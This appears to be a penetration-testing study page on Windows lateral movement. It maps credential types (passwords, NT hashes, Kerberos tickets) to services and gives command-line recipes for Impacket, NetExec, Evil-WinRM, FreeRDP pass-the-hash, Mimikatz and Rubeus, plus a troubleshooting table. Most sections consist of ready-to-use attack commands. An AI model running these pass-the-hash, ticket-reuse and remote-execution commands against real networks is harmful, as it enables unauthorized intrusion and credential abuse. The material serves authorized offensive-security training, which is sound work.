Lateral Movement
← Stage index | Identity transitions | Pivoting | AD cheatsheet | Strategy map | Study methods: Move to another host
Selection rule: credential type → accepted authentication protocol → reachable service → service-specific authorization → execution/session effect.
Exit: verify the destination hostname, represented identity, token/rights and network state; then re-enumerate credentials, domain relationships, sessions and routes.
1. Choose by credential and service
| Material | Compatible starting paths | Important boundary |
|---|---|---|
| Password | SMB/SCM, WMI/DCOM, WinRM/WinRS, RDP | Correct password does not grant the required logon or execution right |
| NT hash | NTLM-capable SMB/WMI/WinRM; RDP only through Restricted Admin where supported | Net-NTLM and DCC2 are not reusable NT hashes |
| TGT/ccache | Kerberos-capable tool using target FQDN/SPN | Ticket identity, realm, lifetime, DNS and KDC route must match |
| TGS | Only the named SERVICE/HOST and compatible client | A CIFS ticket does not authorize WinRM, WMI or RDP |
| AES/NT long-term key | Request a TGT, then use Kerberos | RC4/NT-key requests can fail where RC4 is disabled |
| Local-account password/hash | NTLM or RDP in the target's local account context | Remote UAC/account restrictions commonly filter non-RID-500 local administrators |
| Reachable service | Common execution/access mechanisms | Usual authorization |
|---|---|---|
| SMB 445 + SCM/RPC | PsExec, SMBExec, service creation | Administrative share plus SCM/service rights |
| RPC endpoint mapper 135 + dynamic RPC; often SMB for output | WMIExec, native CIM/WMI, DCOM | Remote WMI/DCOM rights, commonly an effective administrator token |
| Task Scheduler RPC plus SMB output | ATExec | Remote task creation and administrative output access |
| WinRM 5985/5986 | WinRS, PowerShell remoting, Evil-WinRM | Enabled endpoint and endpoint/session authorization |
| RDP 3389 | FreeRDP, MSTSC | Remote-interactive logon right; Restricted Admin requires administrator access |
2. Preflight from the actual source
Directly routed source:
nmap -Pn -sT -sV -p 135,139,445,3389,5985,5986 TARGET -oN movement-preflight.txt
getent hosts TARGET_HOST
date -u
Windows source:
Resolve-DnsName TARGET_HOST
Test-NetConnection TARGET_HOST -Port 445
Test-NetConnection TARGET_HOST -Port 5985
Test-NetConnection TARGET_HOST -Port 3389
w32tm /query /status
Port 135 alone does not prove WMI/DCOM viability because RPC commonly negotiates a dynamic high port. When the destination is reachable only through a pivot, perform these checks through the established Block 13 route and respect the client/proxy's transport limits.
Record:
SOURCE POSITION -> TARGET FQDN/IP -> ROUTE -> SERVICE/PORT
-> CREDENTIAL TYPE -> LOCAL/DOMAIN IDENTITY -> EXPECTED RIGHT
-> CHOSEN METHOD -> EXPECTED EFFECT
3. Validate authentication separately from execution
NetExec can classify a selected SMB credential:
# Domain password
nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD'
# Domain NT hash
nxc smb TARGET -d DOMAIN -u USER -H NT_HASH
# Target-local account
nxc smb TARGET -u Administrator -H NT_HASH --local-auth
# Prove only share access
nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' --shares
A successful login proves SMB authentication.
(Pwn3d!)is NetExec's SMB administrative-context indicator, not proof that WinRM, RDP, WMI or every SMB execution method will succeed.
For one justified execution proof:
nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' -x "hostname & whoami" --exec-method wmiexec
Current NetExec can select wmiexec, atexec or smbexec; without an explicit method it may fail over between them. Use a forced method when diagnosing prerequisites so the result remains attributable.
4. SMB and service-control execution
Impacket PsExec
# Password
impacket-psexec 'DOMAIN/USER:PASSWORD@TARGET'
# NT hash / Pass-the-Hash
impacket-psexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'
Need: SMB 445/139, writable administrative share and Service Control Manager rights. Impacket uploads a RemCom service binary, creates/starts a service and communicates over named pipes. Verify the returned identity; the service context is commonly SYSTEM.
Kerberos cache:
export KRB5CCNAME="$PWD/USER.ccache"
impacket-psexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP 'DOMAIN/USER@TARGET_HOST'
The target parameter uses the hostname matching the CIFS/HOST SPN; -target-ip separates connection routing from Kerberos naming.
Sysinternals PsExec from Windows
PsExec64.exe -accepteula \\TARGET_HOST -u DOMAIN\USER -p PASSWORD cmd.exe
The official PsExec binary is not built into Windows. It requires remote administrative access and creates the PSEXESVC service/artifacts. Avoid putting real passwords in retained shell history; an existing authorized network credential context is preferable.
SMBExec
impacket-smbexec 'DOMAIN/USER:PASSWORD@TARGET'
impacket-smbexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'
SMBExec creates temporary services whose command lines redirect output through a share. It does not use the same uploaded RemCom binary as PsExec, but it still requires SCM/service rights and produces substantial service/event artifacts.
Kerberos and alternate output modes
export KRB5CCNAME="$PWD/USER.ccache"
impacket-smbexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP 'DOMAIN/USER@TARGET_HOST'
# SHARE is default; SERVER starts a local SMB server and needs permission to bind locally.
impacket-smbexec -mode SHARE -share C$ 'DOMAIN/USER:PASSWORD@TARGET'
ATExec
impacket-atexec 'DOMAIN/USER:PASSWORD@TARGET_HOST' "cmd.exe /c hostname & whoami"
impacket-atexec -hashes :NT_HASH 'DOMAIN/USER@TARGET_HOST' "cmd.exe /c hostname & whoami"
ATExec creates and deletes a scheduled task and normally retrieves output from
ADMIN$\Temp. It is a one-shot command mechanism, not an interactive shell; task-scheduler RPC and administrative share access must both work.
Kerberos:
export KRB5CCNAME="$PWD/USER.ccache"
impacket-atexec -k -no-pass -dc-ip DC_IP 'DOMAIN/USER@TARGET_HOST' "cmd.exe /c hostname & whoami"
5. WMI and DCOM execution
Impacket WMIExec
impacket-wmiexec 'DOMAIN/USER:PASSWORD@TARGET'
impacket-wmiexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'
WMIExec creates processes through WMI/DCOM. Its normal output channel uses SMB and defaults to
ADMIN$; therefore a WMI process may run even when output retrieval fails.-nooutputor-silentcommandchanges that evidence channel.
Kerberos with separate name and route:
export KRB5CCNAME="$PWD/USER.ccache"
impacket-wmiexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP 'DOMAIN/USER@TARGET_HOST'
One command, no SMB output
impacket-wmiexec -nooutput 'DOMAIN/USER:PASSWORD@TARGET' "cmd.exe /c echo MOVEMENT_OK > C:\Windows\Temp\movement-proof.txt"
Verify the harmless artifact through an independently authorized channel. No returned stdout is expected.
Native PowerShell CIM over DCOM
$Credential = Get-Credential 'DOMAIN\USER'
$Options = New-CimSessionOption -Protocol Dcom
$Session = New-CimSession -ComputerName TARGET_HOST -Credential $Credential -SessionOption $Options
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{
CommandLine = 'cmd.exe /c hostname > C:\Windows\Temp\movement-proof.txt'
}
Remove-CimSession $Session
ReturnValue = 0and a process ID confirm process creation, not its final effect. WMI-created processes run in session 0; GUI programs will not appear on an interactive desktop.
DCOM MMC method
Current Windows token:
$Type = [type]::GetTypeFromProgID('MMC20.Application.1','TARGET_HOST')
$Object = [Activator]::CreateInstance($Type)
$Object.Document.ActiveView.ExecuteShellCommand(
'cmd.exe',
$null,
'/c hostname > C:\Windows\Temp\movement-proof.txt',
'7'
)
Impacket with password or NT hash:
impacket-dcomexec 'DOMAIN/USER:PASSWORD@TARGET'
impacket-dcomexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'
Current Impacket
dcomexecexplicitly rejects Kerberos for its supported MMC/Shell DCOM objects because they do not accept the required HOST ticket. Usewmiexec -kwhen Kerberos command execution is required. DCOM class availability, RPC reachability and launch/access permissions vary.
6. WinRM, WinRS and PowerShell remoting
Evil-WinRM
# Password; omit -p to prompt where supported
evil-winrm -i TARGET_HOST -u USER -p 'PASSWORD'
# NT hash
evil-winrm -i TARGET_HOST -u USER -H NT_HASH
# HTTPS listener
evil-winrm -i TARGET_HOST -u USER -p 'PASSWORD' -S -P 5986
Current Evil-WinRM ticket-file support:
evil-winrm -i TARGET_FQDN -r DOMAIN -K USER.ccache --spn HTTP
Need: reachable 5985/5986, an enabled WinRM/PowerShell endpoint and endpoint authorization. The identity is commonly an administrator or a member of the applicable remote-management group, but endpoint SDDL/policy is decisive. Kerberos requires the FQDN/SPN, realm/KDC configuration and a compatible ticket.
Native WinRS
winrs /r:TARGET_HOST /u:DOMAIN\USER /p:PASSWORD "cmd /c hostname & whoami"
To avoid retaining a password on the command line, use the current authorized Windows credential context where possible:
winrs /r:TARGET_HOST "cmd /c hostname & whoami"
WinRS uses WinRM. A non-administrator can require
/noprofiledepending on endpoint configuration./allowdelegateaffects onward credential use and is not a default fix for the double-hop problem.
PowerShell remoting
Test-WSMan TARGET_HOST
$Credential = Get-Credential 'DOMAIN\USER'
Invoke-Command -ComputerName TARGET_HOST -Credential $Credential -ScriptBlock {
hostname
whoami /all
}
$Session = New-PSSession -ComputerName TARGET_HOST -Credential $Credential
Enter-PSSession -Session $Session
A hostname normally supports Negotiate/Kerberos in a domain. An IP address requires explicit credentials and generally HTTPS or a tightly scoped TrustedHosts configuration. Do not weaken global TrustedHosts merely to hide DNS/SPN mistakes.
7. RDP
Check the installed binary name:
command -v xfreerdp3 || command -v xfreerdp
Password:
xfreerdp3 /v:TARGET_HOST /d:DOMAIN /u:USER /p:'PASSWORD' /cert:ignore /dynamic-resolution +clipboard
Older packages may expose the same syntax through xfreerdp.
NT hash:
xfreerdp3 /v:TARGET_HOST /d:DOMAIN /u:USER /pth:NT_HASH /cert:ignore /dynamic-resolution
FreeRDP's
/pthuses Restricted Admin mode. The target must support/permit that mode and the identity must be an administrator; ordinary Remote Desktop Users membership is not sufficient for Restricted Admin. Password-based RDP instead needs the Remote Desktop service, NLA compatibility and the effective “Allow log on through Remote Desktop Services” right without a deny override.
Native client:
mstsc.exe /v:TARGET_HOST
mstsc.exe /restrictedAdmin /v:TARGET_HOST
Ordinary RDP can place reusable user credentials in the destination's LSASS. Restricted Admin avoids sending those reusable credentials but prevents ordinary onward access as that user; treat the resulting session's network identity separately.
8. Pass-the-Hash, Overpass-the-Hash and Pass-the-Ticket
Pass-the-Hash
NT HASH -> NTLM CHALLENGE/RESPONSE -> TARGET SERVICE
PtH requires an NTLM-capable service, a valid account context and the service-specific right. SMB share access may work without administrative execution; PsExec/WMIExec/SMBExec usually need administrative rights. Remote UAC commonly filters non-built-in local administrators. Domain accounts in the target Administrators group traditionally receive a full remote token, but newer Administrator Protection policy can change that result—trust the observed target token and method-specific authorization.
Overpass-the-Hash / key-to-ticket
Mimikatz network-credential context:
sekurlsa::pth /user:USER /domain:DOMAIN /ntlm:NT_HASH /run:powershell.exe
Rubeus TGT request:
Rubeus.exe asktgt /user:USER /domain:DOMAIN /rc4:NT_HASH /dc:DC_HOST /ptt
klist
AES alternative:
Rubeus.exe asktgt /user:USER /domain:DOMAIN /aes256:AES256_KEY /dc:DC_HOST /ptt
Trigger a Kerberos service request with the hostname, then inspect:
dir \\TARGET_HOST\C$
klist
In a Mimikatz
sekurlsa::pthprocess,whoamican still show the original local process token while network authentication uses the supplied identity. Validate the ticket's client and the remote result rather than treating localwhoamias the network identity.
Pass-the-Ticket
Windows:
Rubeus.exe ptt /ticket:ticket.kirbi
klist
kerberos::ptt ticket.kirbi
Linux:
export KRB5CCNAME="$PWD/ticket.ccache"
klist
impacket-wmiexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP 'DOMAIN/USER@TARGET_HOST'
A TGS must name the selected service/hostname. A TGT can request a suitable TGS only while valid and when the KDC is reachable. Ticket import is not lateral movement until the destination accepts it and produces the intended authorized effect.
9. Local versus domain identity and remote UAC
DOMAIN\USER -> domain identity; evaluate target-local group/right
TARGET\USER -> SAM identity on that target
./USER -> tool-specific local-account selection
Common failure pattern:
- a local account authenticates over SMB;
- Windows issues a filtered remote token;
ADMIN$, SCM or WMI administrative operations fail.
Do not “fix” this by changing LocalAccountTokenFilterPolicy during an attack workflow. Use a method already permitted by the target's configuration, the built-in Administrator where legitimately obtained and applicable, RDP if authorized, or another mapped identity.
10. Output channels, session 0 and double hop
Remote process creation, stdout retrieval and an interactive shell are separate states:
AUTHENTICATED
-> REMOTE OPERATION AUTHORIZED
-> PROCESS/TASK/SERVICE CREATED
-> COMMAND EFFECT OCCURRED
-> OUTPUT RETURNED OR CALLBACK CONNECTED
-> USABLE SESSION
- PsExec returns named-pipe I/O through its service.
- WMIExec normally redirects output to an SMB share.
- SMBExec redirects command output while repeatedly creating services.
- ATExec writes output under
ADMIN$\Temp. - Native WMI/DCOM may return only a PID/return value; verify a harmless file or another bounded effect.
- WMI/DCOM/service processes commonly run in session 0, so a GUI is not visible to the logged-on user.
- WinRM creates a remote shell/runspace and returns structured or text output.
A WinRM/PowerShell session on HOST_A may not possess delegable credentials for HOST_B. That “double hop” is a credential-context problem, not proof that HOST_B or the password is wrong. Prefer executing from the source that actually holds the credential/ticket rather than enabling broad delegation.
11. Failure router
| Evidence | Layer | Next decision |
|---|---|---|
| Timeout/refused | Route, firewall or listener | Verify from the actual source and account for RPC dynamic ports |
SMB login succeeds; ADMIN$ denied | Share/admin token/UAC | Distinguish share authentication from effective administrator context |
(Pwn3d!) but forced method fails | Method-specific SCM/WMI/task prerequisite | Test only that method's RPC/service right and side effects |
STATUS_LOGON_FAILURE | Credential/domain/authentication | Correct local/domain context, artifact type and protocol |
STATUS_ACCOUNT_RESTRICTION or logon-type denial | Account policy/right | Check permitted logon type and deny overrides |
| RPC server unavailable | 135/dynamic RPC/firewall/service | Validate endpoint mapper and negotiated port from source |
| WMI return value nonzero | Process creation request failed | Decode return value; command effect is unconfirmed |
| Process succeeds; output missing | Output channel, share or session-0 behavior | Use a bounded file/side-effect proof or compatible output option |
| WinRM listener responds; shell denied | Endpoint SDDL/group/logon/UAC policy | Validate endpoint authorization, not merely credentials |
| RDP NLA succeeds; logon denied | Remote-interactive right or deny policy | Verify Remote Desktop Users/Administrators and user-right assignment |
RDP /pth denied | Restricted Admin disabled/unsupported or user not admin | Do not equate ordinary RDP authorization with Restricted Admin |
KDC_ERR_S_PRINCIPAL_UNKNOWN | Hostname/SPN/realm | Use FQDN matching the ticket and correct realm |
KRB_AP_ERR_MODIFIED | SPN account/key mismatch | Confirm SPN owner, target alias and ticket key |
| Clock-skew error | Time | Repair time before credential changes |
| Kerberos tool uses IP and falls back/fails | Name/SPN selection | Separate TARGET_HOST from TARGET_IP |
| First hop works; second hop denied | Credential delegation/double hop | Move execution to credential-holding source or use an explicit ticket |
12. After movement
hostname
whoami /all
ipconfig /all
route print
netstat -ano
klist
Re-enumerate:
- local privilege and accessible credential sources;
- domain groups, ACLs, shares and host rights under the new identity;
- logged-on sessions and service accounts;
- interfaces, routes, DNS, listeners and internal reachability;
- the next evidence-backed host/identity transition.
Do not overwrite the earlier state. Record the source host, credential form, authentication protocol, execution method, returned identity and side effects.
Tooling for this section
| Tool | Choose it for | Needs | Baseline | Decisive output | Failure cue |
|---|---|---|---|---|---|
| Nmap/Test-NetConnection | Service reachability | Actual source route | Section 2 | Reachable named service | Direct test bypasses/ignores the pivot |
| NetExec | Selected credential/admin-context validation | Supported protocol and credential | Section 3 | Exact identity plus method-specific admin cue | Auth success without execution right |
| Impacket PsExec | Interactive SMB/SCM execution | Admin share + SCM | Section 4 | Remote shell/verified identity | Share/service creation denied |
| Impacket SMBExec | Command shell without RemCom upload | SCM + output route | Section 4 | Command output | Service/output share failure |
| Impacket ATExec | One-shot scheduled task | Task RPC + ADMIN$ output | Section 4 | Retrieved command output | Task created but output unavailable |
| Impacket WMIExec | WMI process creation with password/hash/ticket | RPC/DCOM; SMB unless no-output | Section 5 | Shell/output or verified effect | RPC works but share/output fails |
| Impacket DCOMExec | NTLM password/hash DCOM objects | RPC/DCOM and supported object | Section 5 | Verified command effect | Kerberos deliberately unsupported |
| Evil-WinRM | Interactive WinRM/PSRP | Endpoint authorization | Section 6 | Remote PowerShell prompt | Listener present but endpoint rejects |
| WinRS/PowerShell remoting | Built-in Windows management | WinRM and token/credential | Section 6 | Remote hostname/identity | IP trust or double-hop issue |
| FreeRDP/MSTSC | GUI/remote-interactive session | RDP right/NLA; admin for Restricted Admin | Section 7 | Usable desktop with verified identity | Auth accepted but logon type denied |
| Rubeus/Mimikatz/klist | Key/ticket context | Correct key/ticket/logon session | Section 8 | Expected TGT/TGS client and service | Local token confused with network identity |
Package names vary: current Kali-style Impacket commands commonly use the impacket- prefix, and FreeRDP 3 packages may expose xfreerdp3 while older packages use xfreerdp. Inspect local -h output before use.
winexe — Samba-side service execution alternative
Use when the chosen account has working SMB authentication and effective remote service-control/administrative rights. This is a service-execution transport, not a credential bypass.
# Prompts for the accepted identity's password
winexe -U 'DOMAIN/USER' //TARGET 'cmd.exe /c whoami'
Read: verify the returned identity and destination. Access denied after a successful login points to authorization/UAC/service-control conditions; it does not justify guessing more passwords. Service creation and resulting artifacts require the same cleanup discipline as the other SMB execution methods. Prefer the existing supported Impacket/NetExec method when this legacy client is unavailable or incompatible.
Sources: upstream 1.
Sources
- Supplied PEN-200, Chapter 24 pp786–804 for WMI/CIM, WinRS/WinRM, PsExec, PtH, Overpass-the-Hash, Pass-the-Ticket and DCOM.
- OffSec OSCP+ Body of Knowledge
- Impacket psexec, smbexec, wmiexec, atexec and dcomexec
- NetExec command execution and local authentication
- Microsoft WinRS, PowerShell remoting, CIM DCOM options
- Microsoft remote UAC behavior, Administrator Protection and Remote Credential Guard/Restricted Admin
- Evil-WinRM and FreeRDP command-line source
- getSH Active Directory route, source snapshot
e1f62dd - Hexdump Active Directory module and consolidated cheatsheet. The live AD module remains a TODO; only its concise RDP/SMB cues were used and independently checked.